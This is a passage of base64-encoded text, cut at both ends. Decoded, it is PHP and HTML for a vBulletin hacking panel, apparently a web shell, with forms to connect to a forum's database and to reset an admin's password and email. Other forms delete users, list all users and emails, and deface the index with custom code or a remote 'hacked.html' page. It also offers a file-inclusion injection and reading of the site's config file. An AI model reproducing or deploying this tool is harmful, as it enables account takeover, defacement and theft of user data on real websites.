QT1NUWyd2YnVzZXInXSkgICYmIGlzc2V0KCRfUE9TVFsndmJwYXNzJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KJHZidXNlciA9ICRfUE9TVFsndmJ1c2VyJ107DQokdmJwYXNzID0gJF9QT1NUWyd2YnBhc3MnXTsNCm15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggdXNlcjwvZm9udD4nKTsNCm15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZSgnPGZvbnQgY29sb3I9cmVkPk5vcGUsPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz5ObyBjT25uZWN0aW9uIHdpdGggREI8L2ZvbnQ+Jyk7DQppZiAoJHBhc3MgPT0gJycpDQp7DQokbnBhc3MgPSAnTlVMTCc7DQp9IGVsc2Ugew0KJG5wYXNzID0gJHBhc3M7DQp9DQplY2hvJzxmb250IHNpemU9Mz5Zb3UgYXJlIGNvbm5lY3RlZCB3aXRoIHRoZSBteXNxbCBzZXJ2ZXIgb2YgPGZvbnQgY29sb3I9eWVsbG93PicgLiAkaG9zdCAuICc8L2ZvbnQ+IGJ5IHVzZXIgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICR1c2VyIC4gJzwvZm9udD4gLCBwYXNzIDogPGZvbnQgY29sb3I9eWVsbG93PicgLiAkbnBhc3MgLiAnPC9mb250PiBhbmQgc2VsZWN0ZWQgREIgd2l0aCB0aGUgbmFtZSA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRkYiAuICc8L2ZvbnQ+PC9mb250Pic7DQo/Pg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPD8NCiRxdWVyeSA9ICdzZWxlY3QgKiBmcm9tIHVzZXIgd2hlcmUgdXNlcm5hbWU9IicgLiAkdmJ1c2VyIC4gJyI7JzsNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0Kd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkNCnsNCiRzYWx0ID0gJHJvd1snc2FsdCddOw0KJHggPSBtZDUoJHZicGFzcyk7DQokeCA9JHggLiAkc2FsdDsNCiRwYXNzX3NhbHQgPSBtZDUoJHgpOw0KJHF1ZXJ5ID0gJ3VwZGF0ZSB1c2VyIHNldCBwYXNzd29yZD0iJyAuICRwYXNzX3NhbHQgLiAnIiB3aGVyZSB1c2VybmFtZT0iJyAuICR2YnVzZXIgLiAnIjsnOw0KJHJlID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmICgkcmUpDQp7DQplY2hvICc8Zm9udCBzaXplPTM+PGZvbnQgY29sb3I9eWVsbG93PlRoZSBwYXNzIG9mIHRoZSB1c2VyIDwvZm9udD48Zm9udCBjb2xvcj1yZWQ+JyAuICR2YnVzZXIgLiAnPC9mb250Pjxmb250IGNvbG9yPXllbGxvdz4gd2FzIGNoYW5nZWQgdG8gPC9mb250Pjxmb250IGNvbG9yPXJlZD4nIC4gJHZicGFzcyAuICc8L2ZvbnQ+PGJyPkJhY2sgdG8gPGEgaHJlZj0iPyI+U2hlbGw8L2E+PC9mb250Pic7DQp9IGVsc2Ugew0KZWNobyAnPGZvbnQgc2l6ZT0zPjxmb250IGNvbG9yPXJlZD5GYWlsZWQgdG8gY2hhbmdlIFBhc3NXb3JkPC9mb250PjwvZm9udD4nOw0KfQ0KfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydob3N0J10pICYmIGlzc2V0KCRfUE9TVFsndXNlciddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgaXNzZXQoJF9QT1NUWydkYiddKSAmJiAkYWN0PT0ibG9naW4iKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9cHN3IiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgUGFzc3dvcmQ6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNoYW5nZSIgdmFsdWU9IkNoYW5nZSIgLz48L3RoPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZidXNlciIgdmFsdWU9ImFkbWluIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnBhc3MiIHZhbHVlPSJlZ3kgc3BpZGVyIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1tYWlsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIFVzZXIgRS1NQUlMOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+VXNlciA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJ2YnVzZXIiIHZhbHVlPSJhZG1pbiIgLz48L3RkPjwvdHI+DQo8dHI+PHRkPk1BSUwgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJtYWlsIiB2YWx1ZT0iZWd5X3NwaWRlckBob3RtYWlsLmNvbSIgLz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9ZGVsIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6RGVsZXRlIGEgdXNlcjo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlVzZXIgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0idmJ1c2VyIiB2YWx1ZT0iYWRtaW4iIC8+PC90ZD48L3RyPg0KPC90YWJsZT4NCjw/DQplY2hvJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhvc3QiIHZhbHVlPSInIC4gJGhvc3QgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1c2VyIiB2YWx1ZT0iJyAuICR1c2VyIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzcyIgdmFsdWU9IicgLiAkcGFzcyAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRiIiB2YWx1ZT0iJyAuICRkYiAuICciPic7DQo/Pg0KPC9mb3JtPg0KPGhyIGNvbG9yPSIjMDBGRjAwIiAvPg0KPGZvcm0gbmFtZT0iY2hhbmdlcGFzcyIgYWN0aW9uPSI/YWN0PWluYyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj4NCjx0aD46Ojo6OkNoYW5nZSBJbmRleCBieSBJbmNsdXNpb24oTm90IFBMKEVnWSBTcElkRXIpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPkluZGV4IExpbmsgOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0ibGluayIgdmFsdWU9Imh0dHA6Ly93d3cuZWd5c3BpZGVyLmV1L2hhY2tlZC5odG1sIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjxmb3JtIG5hbWU9ImNoYW5nZXBhc3MiIGFjdGlvbj0iP2FjdD1jb2RlIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q2hhbmdlIEluZGV4IGJ5IENvZGUoQWxsIEVkaXRpb24pOjo6Ojo8L3RoPjx0aD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJDaGFuZ2UiIHZhbHVlPSJDaGFuZ2UiIC8+PC90aD4NCjx0cj48dGQ+SW5kZXggQ29kZSA6IDwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPSJjb2RlIiBjb2xzPTYwIHJvd3M9MjA+PC90ZXh0YXJlYT48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPD8NCmVjaG8nPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iaG9zdCIgdmFsdWU9IicgLiAkaG9zdCAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXIiIHZhbHVlPSInIC4gJHVzZXIgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXNzIiB2YWx1ZT0iJyAuICRwYXNzIC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGIiIHZhbHVlPSInIC4gJGRiIC4gJyI+JzsNCj8+DQo8L2Zvcm0+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Zm9ybSBuYW1lPSJjaGFuZ2VwYXNzIiBhY3Rpb249Ij9hY3Q9c2hlbGwiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpJbmplY3QgRmlsZUluY2x1c2lvbiBFeHBsb2l0KE5PVCBQTChBTC1NQVNTWUEpKTo6Ojo6PC90aD48dGg+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iQ2hhbmdlIiB2YWx1ZT0iQ2hhbmdlIiAvPjwvdGg+DQo8dHI+PHRkPlZhcmlhYmxlIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InZhciIgdmFsdWU9InNoZWxsIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8Pw0KZWNobyc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJob3N0IiB2YWx1ZT0iJyAuICRob3N0IC4gJyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlciIgdmFsdWU9IicgLiAkdXNlciAuICciPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhc3MiIHZhbHVlPSInIC4gJHBhc3MgLiAnIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkYiIgdmFsdWU9IicgLiAkZGIgLiAnIj4nOw0KPz4NCjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdCA9PSAnJyl7DQo/Pg0KPGZvcm0gbmFtZT0ibXlmb3JtIiBhY3Rpb249Ij9hY3Q9bG9naW4iIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCjw/DQp9DQppZiAoJGFjdCA9PSAnbHN0JyAmJiBpc3NldCgkX1BPU1RbJ3VzZXInXSkgJiYgaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc3NldCgkX1BPU1RbJ2RiJ10pKQ0Kew0KJGhvc3QgPSAkX1BPU1RbJ2hvc3QnXTsNCiR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQokcGFzcyA9ICRfUE9TVFsncGFzcyddOw0KJGRiID0gJF9QT1NUWydkYiddOw0KbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCB1c2VyPC9mb250PicpOw0KbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllKCc8Zm9udCBjb2xvcj1yZWQ+Tm9wZSw8L2ZvbnQ+PGZvbnQgY29sb3I9eWVsbG93Pk5vIGNPbm5lY3Rpb24gd2l0aCBEQjwvZm9udD4nKTsNCmlmICgkcGFzcyA9PSAnJykNCnsNCiRucGFzcyA9ICdOVUxMJzsNCn0gZWxzZSB7DQokbnBhc3MgPSAkcGFzczsNCn0NCmVjaG8nPGZvbnQgc2l6ZT0zPllvdSBhcmUgY29ubmVjdGVkIHdpdGggdGhlIG15c3FsIHNlcnZlciBvZiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRob3N0IC4gJzwvZm9udD4gYnkgdXNlciA6IDxmb250IGNvbG9yPXllbGxvdz4nIC4gJHVzZXIgLiAnPC9mb250PiAsIHBhc3MgOiA8Zm9udCBjb2xvcj15ZWxsb3c+JyAuICRucGFzcyAuICc8L2ZvbnQ+IGFuZCBzZWxlY3RlZCBEQiB3aXRoIHRoZSBuYW1lIDxmb250IGNvbG9yPXllbGxvdz4nIC4gJGRiIC4gJzwvZm9udD48L2ZvbnQ+JzsNCj8+DQo8aHIgY29sb3I9IiMwMEZGMDAiIC8+DQo8Pw0KJHJlID0gbXlzcWxfcXVlcnkoJ3NlbGVjdCAqIGZyb20gdXNlcicpOw0KZWNobyc8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPklEPC90aD48dGg+VVNFUk5BTUU8L3RoPjx0aD5FTUFJTDwvdGg+JzsNCndoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlKSkNCnsNCmVjaG8nPHRyPjx0ZD4nIC4gJHJvd1sndXNlcmlkJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ3VzZXJuYW1lJ10gLiAnPC90ZD48dGQ+JyAuICRyb3dbJ2VtYWlsJ10gLiAnPC90ZD48L3RyPic7DQp9DQplY2hvJzwvdGFibGU+JzsNCj8+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+PHRoPjw/DQokY291bnQgPSBteXNxbF9udW1fcm93cygkcmUpOw0KZWNobyAnTnVtYmVyIG9mIHVzZXJzIHJlZ2lzdGVyZWQgaXMgOiBbICcgLiAkY291bnQgLiAnIF0nOw0KID8+PC90aD48L3RhYmxlPg0KPD8NCn0NCmlmICgkYWN0ID09ICd1c2Vycycpew0KPz4NCiA8Zm9ybSBuYW1lPSJteWZvcm0iIGFjdGlvbj0iP2FjdD1sc3QiIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgYm9yZGVyPSIxIiBiZ2NvbG9yPSIjMDAwMDAwIiBib3JkZXJjb2xvcj0ibGltZSINCmJvcmRlcmNvbG9yZGFyaz0ibGltZSIgYm9yZGVyY29sb3JsaWdodD0ibGltZSI+DQo8dGg+Ojo6OjpEQVRBQkFTRSBDT05GSUc6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJDb25uZWN0IiAvPjwvdGg+PHRyPjx0ZD5Ib3N0IDogPC90ZD48dGQ+PGlucHV0IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD5Vc2VyIDogPC90ZD48dGQ+PGlucHV0IG5hbWU9InVzZXIiIHZhbHVlPSJyb290IiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+UGFzcyA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJwYXNzIiB2YWx1ZT0iIiAvPjwvdGQ+PC90cj4NCjx0cj48dGQ+TmFtZSA6IDwvdGQ+PHRkPjxpbnB1dCBuYW1lPSJkYiIgdmFsdWU9InZiIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8Pw0KfQ0KaWYgKCRhY3Q9PSdjb25maWcnKQ0Kew0KPz4NCjxmb3JtIG5hbWU9Im15Zm9ybSIgYWN0aW9uPSI/YWN0PXJlY29uZmlnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGJvcmRlcj0iMSIgYmdjb2xvcj0iIzAwMDAwMCIgYm9yZGVyY29sb3I9ImxpbWUiDQpib3JkZXJjb2xvcmRhcms9ImxpbWUiIGJvcmRlcmNvbG9ybGlnaHQ9ImxpbWUiPg0KPHRoPjo6Ojo6Q09ORklHIFBBVEg6Ojo6OjwvdGg+PHRoPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IkNvbm5lY3QiIHZhbHVlPSJSZWFkIiAvPjwvdGg+DQo8dHI+PHRkPlBBVEggOiA8L3RkPjx0ZD48aW5wdXQgbmFtZT0icGF0aCIgdmFsdWU9Ii9ob21lL2hhY2tlZC9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4NCjw/DQp9DQppZiAoJGFjdD09J2luZGV4JykNCnsNCi8vIEluZGV4IEVkaXRvcjxIVE1MIEVkaXRvcj4NCj8+DQo8c2NyaXB0IGxhbmd1YWdlPSdqYXZhc2NyaXB0Jz4NCmZ1bmN0aW9uIGxpbmsoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlclRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCnZhciB5ID0gcHJvbXB0KCJFbnRlcmxpbmsiLCIiKQ0KaWYgKHk9PSIiIHwgeT09bnVsbCApIHsNCnJldHVybjsNCn0NCg0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8YSBocmVmPSIgKyB5ICsiPiIrWCsiPC9hPiI7DQoNCn0NCg0KZnVuY3Rpb24gcmlnaHQoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBUZXh0IiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxwIGFsaWduPSdyaWdodCc+IitYKyI8L3A+IjsNCg0KfQ0KZnVuY3Rpb24gbGVmdCgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPHAgYWxpZ249J2xlZnQnPiIrWCsiPC9wPiI7DQoNCn0NCmZ1bmN0aW9uIGNlbnRlcigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGNlbnRlcj4iK1grIjwvY2VudGVyPiI7DQoNCn0NCmZ1bmN0aW9uIGNvbG91cigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KdmFyIHkgPSBwcm9tcHQoIkVudGVyQ29sb3VyIiwiIikNCmlmICh5PT0iIiB8IHk9PW51bGwgKSB7DQpyZXR1cm47DQp9DQoNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGZvbnQgY29sb3I9IiArIHkgKyI+IitYKyI8L2ZvbnQ+IjsNCg0KfQ0KZnVuY3Rpb24gYigpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEI+IitYKyI8L0I+IjsNCg0KfQ0KZnVuY3Rpb24gdSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPFU+IitYKyI8L1U+IjsNCg0KfQ0KZnVuY3Rpb24gaSgpew0KdmFyIFggPSBwcm9tcHQoIkVudGVyIFRleHQiLCIiKQ0KaWYgKFg9PSIiIHwgWD09bnVsbCApIHsNCnJldHVybjsNCn0NCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPEk+IitYKyI8L0k+IjsNCg0KfQ0KZnVuY3Rpb24gbWFyKCl7DQp2YXIgWCA9IHByb21wdCgiRW50ZXIgVGV4dCIsIiIpDQppZiAoWD09IiIgfCBYPT1udWxsICkgew0KcmV0dXJuOw0KfQ0KaW5kZXhmb3JtLmluZGV4LnZhbHVlPWluZGV4Zm9ybS5pbmRleC52YWx1ZSArICI8bWFycXVlZT4iK1grIjwvbWFycXVlZT4iOw0KDQp9DQpmdW5jdGlvbiBpbWcoKXsNCnZhciBYID0gcHJvbXB0KCJFbnRlciBsaW5rIiwiIikNCmlmIChYPT0iIiB8IFg9PW51bGwgKSB7DQpyZXR1cm47DQp9DQppbmRleGZvcm0uaW5kZXgudmFsdWU9aW5kZXhmb3JtLmluZGV4LnZhbHVlICsgIjxpbWcgc3JjPSciK1grIic+PC9pbWc+IjsNCg0KfQ0KZnVuY3Rpb24gYnIoKXsNCmluZGV4Zm9ybS5pbmRleC52YWx1ZT1pbmRleGZvcm0uaW5kZXgudmFsdWUgKyAiPGJyPiI7DQoNCn0NCjwvc2NyaXB0Pg0KPHRhYmxlIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwODAwMCINCmJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiPjx0aD48YSBvbmNsaWNrPSdyZXR1cm4gY2VudGVyKCknPkNlbnRlcjwvYT4gfHx8IDxhIG9uY2xpY2s9J3JldHVybiBsZWZ0KCknPkxlZnQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gcmlnaHQoKSc+cmlnaHQ8L2E+IHx8fCA8YSBvbmNsaWNrPSdyZXR1cm4gYigpJz5Cb2xkPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIHUoKSc+VW5kZXJMaW5lPC9hPiB8fHwgPGEgb25jbGljaz0ncmV0dXJuIGkoKSc+SXRhbGl